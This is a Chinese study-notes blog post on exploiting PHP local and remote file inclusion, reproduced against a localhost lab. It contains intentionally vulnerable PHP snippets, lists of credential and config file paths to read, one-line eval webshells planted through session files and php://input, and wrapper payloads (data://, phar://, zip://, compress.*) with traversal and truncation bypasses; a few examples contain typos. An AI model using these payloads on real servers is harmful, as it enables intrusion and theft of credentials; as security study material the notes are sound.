PHP文件包含学习笔记

看完下面的几篇文章,然后从第8行开始以后的内容可以忽略!此文是个笔记梳理,是对大佬文章简单的COPY记录,方便以后查看,自己只复现了其中的例子

参考文章:
PHP文件包含漏洞利用思路与Bypass总结手册1
PHP文件包含漏洞利用思路与Bypass总结手册2
PHP文件包含漏洞利用思路与Bypass总结手册3
Web安全实战系列:文件包含漏洞

以下是忽略部分:

简介:php中,利用include()、include_once()、require()、require_once()来包含文件时,不管被包含的文件是什么类型,都会直接被作为php文件进行解析。

一般存在文件包含的地方也存在着目录穿越漏洞



本地文件包含

PHP文件包含漏洞利用思路与Bypass总结手册1
Web安全实战系列:文件包含漏洞

条件:
php.ini配置文件中开启 allow_url_include

利用点:

  • 1.读取本地敏感文件 /etc/passwd

敏感文件有:传送门
Windows:

c:\boot.ini // 查看系统版本
c:\windows\system32\inetsrv\MetaBase.xml // IIS配置文件
c:\windows\repair\sam // 存储Windows系统初次安装的密码
c:\ProgramFiles\mysql\my.ini // MySQL配置
c:\ProgramFiles\mysql\data\mysql\user.MYD // MySQL root密码
c:\windows\php.ini // php 配置信息
C:\Windows\System32\inetsrv\config\applicationHost.config // IIS7.0+WIN 配置文件

Linux:

/etc/passwd // 账户信息
/etc/shadow // 账户密码文件
/usr/local/app/apache2/conf/httpd.conf // Apache2默认配置文件
/usr/local/app/apache2/conf/extra/httpd-vhost.conf // 虚拟网站配置
/usr/local/app/php5/lib/php.ini // PHP相关配置
/etc/httpd/conf/httpd.conf // Apache配置文件
/etc/init.d/httpd // Apache配置文件
/etc/my.conf // mysql 配置文件
  • 2.读取网页源代码,审计

上传、下载、登陆、注册页面的具体代码

  • 3.上传图片马,GETshell

上传包含一句话木马的图片即可,然后在页面中包含进来,菜刀或者蚁剑连接即可取得shell

  • 4.包含日志文件 GETshell
(1) apache+Linux日志默认路径
    /etc/httpd/logs/access_log   或   /var/log/httpd/access_log
(2) apache+win2003日志默认路径
    D:\xampp\apache\logs\access.log
    D:\xampp\apache\logs\error.log
(3) IIS6.0+win2003默认日志文件
    C:\WINDOWS\system32\Logfiles
(4) IIS7.0+win2003 默认日志文件
    %SystemDrive%\inetpub\logs\LogFiles
(5) nginx 日志文件
    日志文件在用户安装目录logs目录下
        如安装路径为/usr/local/nginx,
        则日志目录在/usr/local/nginx/logs

其他日志类型请看 PHP文件包含漏洞利用思路与Bypass总结手册2

  • 5.包含session文件 GETshell

条件:
session文件路径已知(可以通过phpinfo()信息泄露或者猜测得到),且其中内容部分可控,比如session文件中会包含你的个人资料信息,这一部分是可控的。

PHP 默认将用户的 session 存在服务器的文件里,可以在php.ini里面设置session的存储位置session.save_path。
如下是phpinfo泄露的 session.save_path
PHP文件包含学习笔记

Linux下一些默认session存储路径:

/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID

存储的 session 的文件名格式为 sess_[PHPSESSID] ,其中 PHPSESSID 可以在浏览器控制台 Application 里看到,也可以在cookie里看到

php 对 session 的存储有两种处理方式
PHP文件包含学习笔记

  1. session.serialize_handler=php(默认)
    只对用户名的内容进行了序列化存储,没有对变量名进行序列化,可以看作是服务器对用户会话信息的半序列化存储过程。
    比如:传入数据 username=test,那么变成session后存储为 username|s:4:"test";

  2. session.serialize_handler=php_serialize
    对整个session信息包括文件名、文件内容都进行了序列化处理,可以看作是服务器对用户会话信息的完全序列化存储过程。
    比如:传入数据 username=test,那么变成session后存储为 a:1{s:8:"username";s:4:"test";}

利用方式:前提是用户可以控制session文件中的一部分信息,然后将这部分信息变成我们构造的恶意代码,之后去包含含有我们传入恶意代码的这个session文件就可以达到攻击效果。

示例:

首先我们通过猜测或者通过文件包含漏洞得到 phpinfo 信息泄露查看到session文件存储的位置
PHP文件包含学习笔记

session.php:

<?php

	session_start();
	$username = $_POST[‘username‘];
	$_SESSION["username"] = $username;

?>

fileinc.php:

<?php
    
	$file  = $_GET[‘file‘];
	include($file);

?>

然后我们访问 session.php,并传入参数 username=<?php eval($_POST[password]);?>
PHP文件包含学习笔记

接下来查看浏览器控制台,找到对应 sessionid = bh1a7bbhuk196gl2v32qm8eono
PHP文件包含学习笔记

然后便可以访问有文件包含漏洞的 fileinc.php 页面,包含存有一句话木马的 session 文件,并传参过去即可

session文件名为:sess_bh1a7bbhuk196gl2v32qm8eono,路径为:D:/software/xampp/sodevel-wnmp/web/phplearn/session_s/sess_bh1a7bbhuk196gl2v32qm8eono

访问http://127.0.0.1/phplearn/fileinc.php?file=D:/software/xampp/sodevel-wnmp/web/phplearn/session_s/sess_bh1a7bbhuk196gl2v32qm8eono,并且POST参数password=system(whoami)

这里注意:由于包含进去的session文件内容为为 username|s:34:"<?php eval($_REQUEST[password]);?>";,所以会报 NOTICE,测试环境为 windows,Linux好像不会
PHP文件包含学习笔记

  • 6.包含临时文件以及其他方法 GETshell

请看 PHP文件包含漏洞利用思路与Bypass总结手册2



远程文件包含

条件:
allow_url_include = on
allow_url_fopen = on
利用点:

  • 包含远程 shell
    把VPS上的shell包含进去


php 伪协议利用

PHP文件包含漏洞利用思路与Bypass总结手册1

可以在phpinfo中的Registered PHP Streams中找到可使用的协议:
PHP文件包含学习笔记

file:// — 访问本地文件系统
http:// — 访问 HTTP(s) 网址
ftp:// — 访问 FTP(s) URLs
php:// — 访问各个输入/输出流(I/O streams)
zlib:// — 压缩流
data:// — 数据(RFC 2397)
glob:// — 查找匹配的文件路径模式
phar:// — PHP 归档
ssh2:// — Secure Shell 2
rar:// — RAR
ogg:// — 音频流
expect:// — 处理交互式的流

以下协议中的 fileinc.php 实验代码为:

<?php
    $file  = $_GET[‘file‘];
    include($file);
?>

1. file://

条件:
file:// 协议在双off的情况下也可以正常使用;
allow_url_fopen :off/on
allow_url_include:off/on

作用:
用于访问文件(绝对路径可以;相对路径有点问题)
示例:
http://127.0.0.1/fileinc.php?file=file:///etc/passsword


2. php://

总条件:
不需要开启allow_url_fopen,仅php://input、 php://stdin、 php://memory 和 php://temp 需要开启allow_url_include。
作用:访问输入输出流

①. php://filter
条件:
allow_url_fopen :off/on
allow_url_include:off/on

作用:
读取源代码并进行base64编码输出
示例:
http://127.0.0.1/fileinc.php?file=php://filter/read=convert.base64-encode/resource=[文件名](针对php文件需要base64编码)
http://127.0.0.1/fileinc.php?file=php://filter/convert.base64-encode/resource=[文件名] 不要read=也可以
参数:
resource=<要过滤的数据流> 这个参数是必须的。它指定了你要筛选过滤的数据流,可以是相对路径也可以是绝对路径
read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
write=<写链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔。
<;两个链的筛选列表> 任何没有以 read= 或 write= 作前缀 的筛选器列表会视情况应用于读或写链。

②. php://input
条件:
allow_url_fopen :off/on
allow_url_include:on

作用:
执行POST数据中的php代码
示例:
http://127.0.0.1/fileinc.php?file=php://input
POST数据:<?php phpinfo()?>
PHP文件包含学习笔记
写木马文件:
<?php fputs(fopen(‘shell.php‘,‘w‘),‘<?php @eval($_POST[cmd])?>‘);?>
会在当前目录下写入一个木马
PHP文件包含学习笔记
PHP文件包含学习笔记

注意:
enctype="multipart/form-data" 的时候 php://input 是无效的


3. data://

条件:
php >= 5.2
allow_url_fopen :on
allow_url_include:on

作用:
自PHP>=5.2.0起,可以使用data://数据流封装器,以传递相应格式的数据。通常可以用来执行PHP代码。一般需要用到base64编码传输
可用的数据流格式:

data:,<文本数据> 
data:text/plain,<文本数据>
data:text/html,<HTML代码>
data:text/html;base64,<base64编码的HTML代码>
data:text/css,<CSS代码>
data:text/css;base64,<base64编码的CSS代码>
data:text/javascript,<Javascript代码>
data:text/javascript;base64,<base64编码的Javascript代码>
data:image/gif;base64,base64编码的gif图片数据
data:image/png;base64,base64编码的png图片数据
data:image/jpeg;base64,base64编码的jpeg图片数据
data:image/x-icon;base64,base64编码的icon图片数据

示例:
http://127.0.0.1/fileinc.php?file=data:text/plain,<?php phpinfo()?>
http://127.0.0.1/fileinc.php?file=data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=


4. phar://

条件:
php >= 5.3.0
注意:压缩包需要是zip协议压缩,rar不行,将木马文件压缩后,改为其他任意格式的文件都可以正常使用

作用:
配合文件上传漏洞getshell,突破文件上传格式的限制

示例:

特性:针对phar://不管后缀是什么,都会当做压缩包来解压。

?file=phar://[压缩包文件相对路径]/[压缩文件内的子文件名]
?file=phar://[压缩包文件绝对路径]/[压缩文件内的子文件名]

方法:写一个一句话木马文件shell.txt,然后用zip协议压缩为shell.zip,然后可以将后缀改为png等其他格式,突破上传限制。

比如:

相对路径
http://127.0.0.1/fileinc.php?file=phar://shell.zip/shell.txt
http://127.0.0.1/fileinc.php?file=phar://shell.png/shell.txt

绝对路径:
http://127.0.0.1/fileinc.php?file=phar://D:/software/xampp/sodevel-wnmp/web/phplearn/shell.zip/shell.txt
http://127.0.0.1/fileinc.php?file=phar://D:/software/xampp/sodevel-wnmp/web/phplearn/shell.png/shell.txt

其他:也支持用phar协议压缩的压缩文件,只是制作有些麻烦,作罢。不过感兴趣的可以看这里


5. zip://

条件:
想利用相对路径的话需要 php >=5.2.9

作用:
zip伪协议和phar协议类似,但是用法不一样。

示例:

特性:针对zip://不管后缀是什么,都会当做压缩包来解压。

?file=phar://[压缩包文件相对路径]#[压缩文件内的子文件名]
?file=phar://[压缩包文件绝对路径]#[压缩文件内的子文件名]

注意点:当在URl中直接利用时, # 需要使用编码成 %23
方法:写一个一句话木马文件shell.txt,然后用zip协议压缩为shell.zip,然后可以将后缀改为png等其他格式,突破上传限制。

比如:
相对路径:
http://127.0.0.1/fileinc.php?file=zip://shell.png%23shell.txt

绝对路径:
http://127.0.0.1/fileinc.php?file=zip://D:/software/xampp/sodevel-wnmp/web/phplearn/shell.png%23shell.txt

6. compress.xxx

条件:
php >= 5.2
作用:
配合文件上传漏洞getshell,突破文件上传格式的限制

①compress.bzip2://
示例:

?file=compress.bzip2://[压缩包文件相对路径]
?file=compress.bzip2://[压缩包文件绝对路径]

方法:写一个一句话木马文件shell.txt,然后用bz2协议压缩为shell.bz2,然后可以将后缀改为png等其他格式,突破上传限制。
比如:

相对路径:
http://127.0.0.1/fileinc.php?file=compress.bzip2://shell.bz2
http://127.0.0.1/fileinc.php?file=compress.bzip2://shell.png

绝对路径:
http://127.0.0.1/fileinc.php?file=zip://D:/software/xampp/sodevel-wnmp/web/phplearn/shell.bz2
http://127.0.0.1/fileinc.php?file=zip://D:/software/xampp/sodevel-wnmp/web/phplearn/shell.png

②compress.zlib://
示例:

?file=compress.zlib://[压缩包文件相对路径]
?file=compress.zlib://[压缩包文件绝对路径]

方法:写一个一句话木马文件shell.txt,然后用zlib协议压缩为shell.zip,然后可以将后缀改为png等其他格式,突破上传限制。
比如:

相对路径:
http://127.0.0.1/fileinc.php?file=compress.bzip2://shell.gz
http://127.0.0.1/fileinc.php?file=compress.bzip2://shell.png

绝对路径:
http://127.0.0.1/fileinc.php?file=zip://D:/software/xampp/sodevel-wnmp/web/phplearn/shell.gz
http://127.0.0.1/fileinc.php?file=zip://D:/software/xampp/sodevel-wnmp/web/phplearn/shell.png


Bypass

参考文章:PHP文件包含漏洞利用思路与Bypass总结手册3

  • 指定前缀

例如:

<?php
	$file = $_GET[‘file‘];
	include ‘/var/www/html/‘.$file;
?>

方法:
目录穿越

条件:
../没有被过滤或可以被绕过

示例:
?file=../../../etc/passwd

绕过过滤:

  1. 使用 URL 编码: ../ ----> %2e%2e%2f ----> 二次编码 %252e%252e%252f
  2. 利用Windows特性: ..\ ,也可以编码为 %2e%2e%5c ----> 二次编码 %252e%252e%255c
  3. 其他
某些web容器支持的编码方式:
../   ---->  ..%c0%af


PS:Why does Directory traversal attack %C0%AF work?
%c0%ae%c0%ae/


PS:java中会把”%c0%ae”解析为”\uC0AE”,最后转义为ASCCII字符的”.”(点)
..\   ---->  ..%c1%9c

  • 指定后缀

例如:

<?php
	$file = $_GET[‘file‘];
	include $file.‘/test/index.php‘;
?>

方法:

  1. 利用 URL 中的 ?#

条件:
allow_url_include = on
allow_url_fopen = on

示例:

当输入?file=http://www.xxx.com/phpinfo.txt?  包含时变成了 http://www.xxx.com/phpinfo.txt?/test/index.php 
问号后面的部分/test/index.php,也就是指定的后缀被当作query从而被绕过,实际包含的文件为 http://www.xxx.com 上的 phpinfo.txt

当输入?file=http://www.xxx.com/phpinfo.txt%23  包含时变成了 http://www.xxx.com/phpinfo.txt#/test/index.php
#号后面的部分/test/index.php,也就是指定的后缀被当作fragment(定位符)从而被绕过,实际包含的文件为 http://www.xxx.com 上的 phpinfo.txt
注意:这里的 # 需要 url编码
  1. 利用 phar:// 或者 zip:// 或者 compress.xxx:// 协议 构造特殊结构的压缩包
    PHP文件包含学习笔记

条件:
php >= 5.3.0

示例:

phar://
当输入?file=phar://evil.zip/evil  包含时变成了 ?file=phar://evil.zip/evil/test/index.php
巧妙地利用了压缩包突破了限制
当然这里也可以使用绝对路径,以及更改压缩包的名字为 evil.png 等


zip://
当输入?file=zip://evil.zip%23evil  包含时变成了 ?file=zip://evil.zip%23evil/test/index.php
巧妙地利用了压缩包突破了限制
当然这里也可以使用绝对路径,以及更改压缩包的名字为 evil.png 等
  1. 长度截断
    条件:
    php < 5.2.8

原理:

  • Windows下目录最大长度为256字节,超出的部分会被丢弃
  • Linux下目录最大长度为4096字节,超出的部分会被丢弃
  1. 零字节截断
    条件:
    php < 5.3.4
    magic_quotes_gpc=Off

示例:
?file=phpinfo.txt%00

  • 协议限制
  1. 限制了 data:// 协议

示例:

<?php
    
	error_reporting(0);
	$filename = $_GET[‘filename‘];
	if (preg_match("/\bdata\b/iA", $filename)) {
    	echo "stop hacking!!!!\n";
	}
	else{
        include $filename;
	}
?>

代码表示不能以 data 字符串开头

方法:
利用zlib协议嵌套的方法绕过对 data:// 协议的限制
?filename=compress.zlib://data:text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

PHP文件包含学习笔记

上一篇:php数据库操作类(转)


下一篇:Jmeter接口自动化-9-HTTP 默认请求